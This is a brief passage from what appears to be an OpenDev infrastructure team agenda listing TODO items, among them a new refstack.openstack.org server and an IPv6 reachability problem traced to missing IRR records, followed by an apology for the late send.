https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here ** Deploy a new refstack.openstack.org server (kopecmartin 20210216) *** Ready for testing? ** opendev.org not reachable via IPv6 from some ISPs (frickler 20210215) *** Caused by missing/inconsistent IRR records for the networks that vexxhost uses *** Pinged mnaser a couple of times but no progress so far *** Added here for increased visibility and tracking * Open discussion Sorry for the delay in sending this out. I had meant to get it out yesterday and had even prepped it to go out but then got distracted by some server updates and this was forgotten.

1 0